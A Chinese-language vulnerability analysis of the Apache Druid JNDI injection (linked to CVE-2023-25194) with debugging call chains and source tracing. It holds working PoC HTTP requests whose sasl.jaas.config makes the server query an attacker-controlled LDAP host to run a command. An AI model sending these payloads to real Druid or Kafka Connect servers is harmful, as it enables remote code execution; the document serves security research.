Apache Druid JNDI 注入漏洞分析

警告
本文最后更新于 2023-07-07,文中内容可能已过时。

Apache Druid JNDI 注入漏洞分析

Apache Druid JNDI注入漏洞分析 (qq.com)

NOX 安全监测 - 奇安信 应急响应(指挥)中心 (qianxin.com)

下载环境和源码

https://archive.apache.org/dist/druid/0.19.0/

启动环境

./bin/start-micro-quickstart

访问 8888 端口查看是否搭建成功

image-20230504163621108

POST /druid/indexer/v1/sampler?for=connect HTTP/1.1
Host: your-ip:8888
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en-US;q=0.9,en;q=0.8
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.5481.178 Safari/537.36
Connection: close
Cache-Control: max-age=0
Content-Type: application/json
Content-Length: 1792

{
    "type":"kafka",
    "spec":{
        "type":"kafka",
        "ioConfig":{
            "type":"kafka",
            "consumerProperties":{
                "bootstrap.servers":"127.0.0.1:6666",
                "sasl.mechanism":"SCRAM-SHA-256",
                "security.protocol":"SASL_SSL",
                "sasl.jaas.config":"com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://roguo-jndi-server:1389/Basic/Command/base64/aWQgPiAvdG1wL3N1Y2Nlc3M=\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";"
            },
            "topic":"test",
            "useEarliestOffset":true,
            "inputFormat":{
                "type":"regex",
                "pattern":"([\\s\\S]*)",
                "listDelimiter":"56616469-6de2-9da4-efb8-8f416e6e6965",
                "columns":[
                    "raw"
                ]
            }
        },
        "dataSchema":{
            "dataSource":"sample",
            "timestampSpec":{
                "column":"!!!_no_such_column_!!!",
                "missingValue":"1970-01-01T00:00:00Z"
            },
            "dimensionsSpec":{

            },
            "granularitySpec":{
                "rollup":false
            }
        },
        "tuningConfig":{
            "type":"kafka"
        }
    },
    "samplerConfig":{
        "numRows":500,
        "timeoutMs":15000
    }
}

image-20230504170645101

PS E:\Vuln\IDEA_Project\apache-druid-0.19.0-src> Get-ChildItem -Path . -Filter *.java -Recurse | Select-String -Pattern "v1/sampler"

indexing-service\src\main\java\org\apache\druid\indexing\overlord\sampler\SamplerResource.java:32:@Path("/druid/indexer/v1/sampler")

在此处搜索出来和 PoC 相关的路径处理,在此处下断点。

@Path("/druid/indexer/v1/sampler")
public class SamplerResource
{
  @POST
  @Consumes(MediaType.APPLICATION_JSON)
  @Produces(MediaType.APPLICATION_JSON)
  @ResourceFilters(StateResourceFilter.class)
  public SamplerResponse post(final SamplerSpec sampler)
  {
    return Preconditions.checkNotNull(sampler, "Request body cannot be empty").sample();
  }
}

配置远程调试

cd ./conf/druid/single-server/micro-quickstart/coordinator-overlord

编辑 jvm.config,添加以下内容(JDK8):

-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005

image-20230505100631111

重启 Druid

./start-micro-quickstart

重新攻击,就可看到处理 Post 数据的类的调用链了。

post:41, SamplerResource (org.apache.druid.indexing.overlord.sampler)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:60, JavaMethodInvokerFactory$1 (com.sun.jersey.spi.container)
_dispatch:185, AbstractResourceMethodDispatchProvider$TypeOutInvoker (com.sun.jersey.server.impl.model.method.dispatch)
dispatch:75, ResourceJavaMethodDispatcher (com.sun.jersey.server.impl.model.method.dispatch)
accept:302, HttpMethodRule (com.sun.jersey.server.impl.uri.rules)
accept:108, ResourceClassRule (com.sun.jersey.server.impl.uri.rules)
accept:147, RightHandPathRule (com.sun.jersey.server.impl.uri.rules)
accept:84, RootResourceClassesRule (com.sun.jersey.server.impl.uri.rules)
_handleRequest:1542, WebApplicationImpl (com.sun.jersey.server.impl.application)
_handleRequest:1473, WebApplicationImpl (com.sun.jersey.server.impl.application)
handleRequest:1419, WebApplicationImpl (com.sun.jersey.server.impl.application)
handleRequest:1409, WebApplicationImpl (com.sun.jersey.server.impl.application)
service:409, WebComponent (com.sun.jersey.spi.container.servlet)
service:558, ServletContainer (com.sun.jersey.spi.container.servlet)
service:733, ServletContainer (com.sun.jersey.spi.container.servlet)
service:790, HttpServlet (javax.servlet.http)
doServiceImpl:286, ServletDefinition (com.google.inject.servlet)
doService:276, ServletDefinition (com.google.inject.servlet)
service:181, ServletDefinition (com.google.inject.servlet)
service:91, ManagedServletPipeline (com.google.inject.servlet)
doFilter:85, FilterChainInvocation (com.google.inject.servlet)
dispatch:120, ManagedFilterPipeline (com.google.inject.servlet)
doFilter:135, GuiceFilter (com.google.inject.servlet)
doFilter:1642, ServletHandler$CachedChain (org.eclipse.jetty.servlet)
doFilter:73, RedirectFilter (org.apache.druid.server.http)
doFilter:1642, ServletHandler$CachedChain (org.eclipse.jetty.servlet)
doFilter:82, PreResponseAuthorizationCheckFilter (org.apache.druid.server.security)
doFilter:1642, ServletHandler$CachedChain (org.eclipse.jetty.servlet)
doFilter:78, AllowHttpMethodsResourceFilter (org.apache.druid.server.security)
doFilter:1642, ServletHandler$CachedChain (org.eclipse.jetty.servlet)
doFilter:75, AllowOptionsResourceFilter (org.apache.druid.server.security)
doFilter:1642, ServletHandler$CachedChain (org.eclipse.jetty.servlet)
doFilter:84, AllowAllAuthenticator$1 (org.apache.druid.server.security)
doFilter:59, AuthenticationWrappingFilter (org.apache.druid.server.security)
doFilter:1642, ServletHandler$CachedChain (org.eclipse.jetty.servlet)
doFilter:86, SecuritySanityCheckFilter (org.apache.druid.server.security)
doFilter:1642, ServletHandler$CachedChain (org.eclipse.jetty.servlet)
doHandle:533, ServletHandler (org.eclipse.jetty.servlet)
nextHandle:255, ScopedHandler (org.eclipse.jetty.server.handler)
doHandle:1595, SessionHandler (org.eclipse.jetty.server.session)
nextHandle:255, ScopedHandler (org.eclipse.jetty.server.handler)
doHandle:1340, ContextHandler (org.eclipse.jetty.server.handler)
nextScope:203, ScopedHandler (org.eclipse.jetty.server.handler)
doScope:473, ServletHandler (org.eclipse.jetty.servlet)
doScope:1564, SessionHandler (org.eclipse.jetty.server.session)
nextScope:201, ScopedHandler (org.eclipse.jetty.server.handler)
doScope:1242, ContextHandler (org.eclipse.jetty.server.handler)
handle:144, ScopedHandler (org.eclipse.jetty.server.handler)
handle:740, GzipHandler (org.eclipse.jetty.server.handler.gzip)
handle:61, HandlerList (org.eclipse.jetty.server.handler)
handle:132, HandlerWrapper (org.eclipse.jetty.server.handler)
handle:503, Server (org.eclipse.jetty.server)
handle:364, HttpChannel (org.eclipse.jetty.server)
onFillable:260, HttpConnection (org.eclipse.jetty.server)
succeeded:305, AbstractConnection$ReadCallback (org.eclipse.jetty.io)
fillable:103, FillInterest (org.eclipse.jetty.io)
run:118, ChannelEndPoint$2 (org.eclipse.jetty.io)
runTask:333, EatWhatYouKill (org.eclipse.jetty.util.thread.strategy)
doProduce:310, EatWhatYouKill (org.eclipse.jetty.util.thread.strategy)
tryProduce:168, EatWhatYouKill (org.eclipse.jetty.util.thread.strategy)
run:126, EatWhatYouKill (org.eclipse.jetty.util.thread.strategy)
run:366, ReservedThreadExecutor$ReservedThread (org.eclipse.jetty.util.thread)
runJob:765, QueuedThreadPool (org.eclipse.jetty.util.thread)
run:683, QueuedThreadPool$2 (org.eclipse.jetty.util.thread)
run:745, Thread (java.lang)

根据的 CVE-2023-25194 Apache Kafka Connect JNDI 漏洞描述,我们可以知道漏洞出发点就在JndiLoginModule

攻击者需要具备对 Kafka Connect 工作节点的访问权限,并且可以使用任意 Kafka 客户端 SASL JAAS 配置和基于 SASL 的安全协议创建/修改连接器。当通过 Kafka Connect REST API 配置连接器时,认证操作员可以为连接器的任何Kafka客户端设置sasl.jaas.config属性为 com.sun.security.auth.module.JndiLoginModule。这将允许服务器连接到攻击者的 LDAP 服务器并对 LDAP 响应进行反序列化,攻击者可以利用此操作在 Kafka Connect 服务器上执行Java反序列化 gadget 链,从而达到 RCE 漏洞效果。Apache Kafka 3.0.0及之后的版本中,用户允许在连接器配置中指定这些属性。在 Apache Kafka 3.4.0 中增加了一个系统属性来禁用 SASL JAAS 配置中存在问题的登录模块的使用。建议 Kafka Connect 用户验证连接器配置,并仅允许信任的 JNDI 配置。此外,检查连接器依赖项是否有受漏洞影响的版本,并升级连接器、升级特定依赖项或取消连接器以进行修复。最后,除了利用org.apache.kafka.disallowed.login.modules系统属性之外,Kafka Connect 用户还可以实现自己的连接器客户端配置覆盖策略,用于控制是否可以直接在连接器配置中重写Kafka客户端属性。

com.sun.security.auth.module.JndiLoginModule 搜索到两个 lookup 的调用,都打上断点。最终发现调用链如下:

attemptAuthentication:526, JndiLoginModule (com.sun.security.auth.module)
login:319, JndiLoginModule (com.sun.security.auth.module)
invoke0:-1, NativeMethodAccessorImpl (sun.reflect)
invoke:62, NativeMethodAccessorImpl (sun.reflect)
invoke:43, DelegatingMethodAccessorImpl (sun.reflect)
invoke:498, Method (java.lang.reflect)
invoke:755, LoginContext (javax.security.auth.login)
access$000:195, LoginContext (javax.security.auth.login)
run:682, LoginContext$4 (javax.security.auth.login)
run:680, LoginContext$4 (javax.security.auth.login)
doPrivileged:-1, AccessController (java.security)
invokePriv:680, LoginContext (javax.security.auth.login)
login:587, LoginContext (javax.security.auth.login)
login:60, AbstractLogin (org.apache.kafka.common.security.authenticator)
<init>:62, LoginManager (org.apache.kafka.common.security.authenticator)
acquireLoginManager:105, LoginManager (org.apache.kafka.common.security.authenticator)
configure:158, SaslChannelBuilder (org.apache.kafka.common.network)
create:157, ChannelBuilders (org.apache.kafka.common.network)
clientChannelBuilder:73, ChannelBuilders (org.apache.kafka.common.network)
createChannelBuilder:105, ClientUtils (org.apache.kafka.clients)
<init>:743, KafkaConsumer (org.apache.kafka.clients.consumer)
<init>:666, KafkaConsumer (org.apache.kafka.clients.consumer)
getKafkaConsumer:248, KafkaRecordSupplier (org.apache.druid.indexing.kafka)
<init>:63, KafkaRecordSupplier (org.apache.druid.indexing.kafka)
createRecordSupplier:66, KafkaSamplerSpec (org.apache.druid.indexing.kafka)
createRecordSupplier:36, KafkaSamplerSpec (org.apache.druid.indexing.kafka)
sample:97, SeekableStreamSamplerSpec (org.apache.druid.indexing.seekablestream)
post:41, SamplerResource (org.apache.druid.indexing.overlord.sampler)

一直到最后的 lookup,这里分析主要就是跟着 PoC 分析,有 PoC 的分析不需要这样子一步步看下去。对于这个漏洞,我猜是使用半自动化工具检测出来接口 /druid/indexer/v1/sampler 的某个数据可以一直到 lookup方法。

那么这个时候,问题变成了,工具告诉你, /druid/indexer/v1/sampler 的 POST 数据,可达 attemptAuthentication:526, JndiLoginModule (com.sun.security.auth.module)lookup 方法,疑似存在 JNDI 漏洞,你要如何构造 PoC。

现在来回看一下公开的 CVE-2023-25194 的 PoC:

POST /connectors HTTP/1.1
Host: xxxx:8083
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Content-Type: application/json
Connection: close
Content-Length: 1109

{"name": "test", 
   "config":
    {
        "connector.class":"io.debezium.connector.mysql.MySqlConnector",
    	"database.hostname": "xxxxx",
    	"database.port": "3306",
    	"database.user": "root",
    	"database.password": "xxxxxx",
    	"database.dbname": "xxxx",
    	"database.sslmode": "SSL_MODE",
        "database.server.id": "1234",
    	"database.server.name": "localhost",
        "table.include.list": "MYSQL_TABLES",
    	"tasks.max":"1",
        "topic.prefix": "aaa22",
        "debezium.source.database.history": "io.debezium.relational.history.MemoryDatabaseHistory",
        "schema.history.internal.kafka.topic": "aaa22",
        "schema.history.internal.kafka.bootstrap.servers": "kafka:9202",
    	"database.history.producer.security.protocol": "SASL_SSL",
    	"database.history.producer.sasl.mechanism": "PLAIN",
    	"database.history.producer.sasl.jaas.config": "com.sun.security.auth.module.JndiLoginModule required user.provider.url=\"ldap://aaa\" useFirstPass=\"true\" serviceName=\"x\" debug=\"true\" group.provider.url=\"xxx\";"
    }
}

我们都在 PoC 里面看到这个 sasl.jaas.config,对于这个参数名称,文档中解释到,sasl.jaas.config 是用于配置 Kafka 中 SASL 认证机制的参数之一,需要按照特定的格式指定 JAAS 登录上下文参数,并且需要使用 listener 前缀和 SASL 机制名称作为前缀。其中,JAAS 是 Java Authentication and Authorization Service 的缩写,是 Java 中用于身份验证和授权的标准 API。这两个 PoC 都是指定了 com.sun.security.auth.module.JndiLoginModule 类来做登陆身份验证模块。

image-20230505155057549

createRecordSupplier:36, KafkaSamplerSpec (org.apache.druid.indexing.kafka)

image-20230505155631891

在这里通过 getConsumerProperties 方法从 ioConfig 获取到 PoC 中的consumerProperties字段。接着带着 props 进入一直到

createChannelBuilder:105, ClientUtils (org.apache.kafka.clients)

image-20230505161525381

把 PoC 中的 security.protocol 和 sasl.mechanism 字段提取出来,继续作为参数进入之后的调用。

clientChannelBuilder:73, ChannelBuilders (org.apache.kafka.common.network)

image-20230505162203084

根据刚刚提取的两个参数来判断是否抛出相对于的异常,然后继续步入

create:157, ChannelBuilders (org.apache.kafka.common.network)

image-20230505163329082

securityProtocol 被 PoC 设置成 SASL_SSL,但是 SASL_SSL 分支没有任何代码可以处理,直接执行 SASL_PLAINTEXT 分支的代码,然后 break 退出分支,执行到 ((ChannelBuilder)channelBuilder).configure(configs);。我们来看看 channelBuilder 是怎么样的。

image-20230505163929797

其中 PoC 中的 sasl.jaas.config 的值存放在了这里,在channelBuilder.jaasContexts.dynamicJaasConfig

image-20230505164127788

最后一直到 lookup。

直接以电商网站为场景解释 Kafka Connect 的各个组成。

  1. Connector Connector 是 Kafka Connect 中用于连接不同数据系统的组件,它用于将数据从数据源中读取并写入 Kafka 集群中。在电商网站这个场景中,Connector 可以指 MySQL Connector,用于将订单数据从 MySQL 数据库中读取并写入 Kafka 集群中。

  2. Tasks Tasks 是 Connector 的实际执行者,它负责在 Kafka 集群中的一个或多个节点上执行数据传输操作。在电商网站这个场景中,我们需要使用多个 Tasks,每个 Task 负责将订单数据从 MySQL 数据库中读取,并将其写入 Kafka 集群中的一个或多个 Topic 中。

  3. Workers Workers 是 Kafka Connect 的核心组件,它负责管理 Connectors 和 Tasks 的部署和运行。Worker 运行在 Kafka Connect 集群的节点上,并且是整个 Kafka Connect 集群的控制中心。在电商网站这个场景中,我们需要在多个 Kafka Connect Worker 节点上运行 Connectors 和 Tasks,以实现订单数据的高效传输和处理。

  4. Converters Converters 是 Kafka Connect 中用于数据格式转换的插件。Kafka Connect 提供了多种 Converters,例如 JSON Converter、Avro Converter、Protobuf Converter 等。在电商网站这个场景中,我们可以使用 JSON Converter 将订单数据从 MySQL 数据库中读取,并将其转换为 JSON 格式,以便于发送到 Kafka 集群中。

  5. Transforms Transforms 是用于数据转换和操作的插件。Transforms 可以在数据传输之前或之后对数据进行处理,例如过滤、字段选择、分割、合并等。在电商网站这个场景中,我们可以使用 Timestamp Extractor Transform 将订单数据中的时间戳字段提取出来,并将其用作 Kafka 消息的时间戳。

  6. Dead Letter Queue Dead Letter Queue 是一个用于存储传输失败数据的队列。如果 Connectors 或 Tasks 在数据传输过程中发生错误,这些错误数据将被发送到 Dead Letter Queue 中,以便于进行后续的错误处理和故障排除。在电商网站这个场景中,如果订单数据传输失败,这些失败数据将被发送到 Dead Letter Queue 中,以便于进行后续的错误处理和故障排除。

综上所述,Kafka Connect 的各个部分在电商网站这个场景中的作用可以概括为:Connector 用于连接不同数据系统,将数据从数据源中读取并写入 Kafka 集群中;Tasks 是 Connector 的实际执行者,负责在 Kafka 集群中的一个或多个节点上执行数据传输操作;Workers 是 Kafka Connect 的核心组件,负责管理 Connectors 和 Tasks 的部署和运行;Converters 和 Transforms 用于数据格式转换和操作;Dead Letter Queue 用于存储传输失败数据,以便于进行后续的错误处理和故障排除。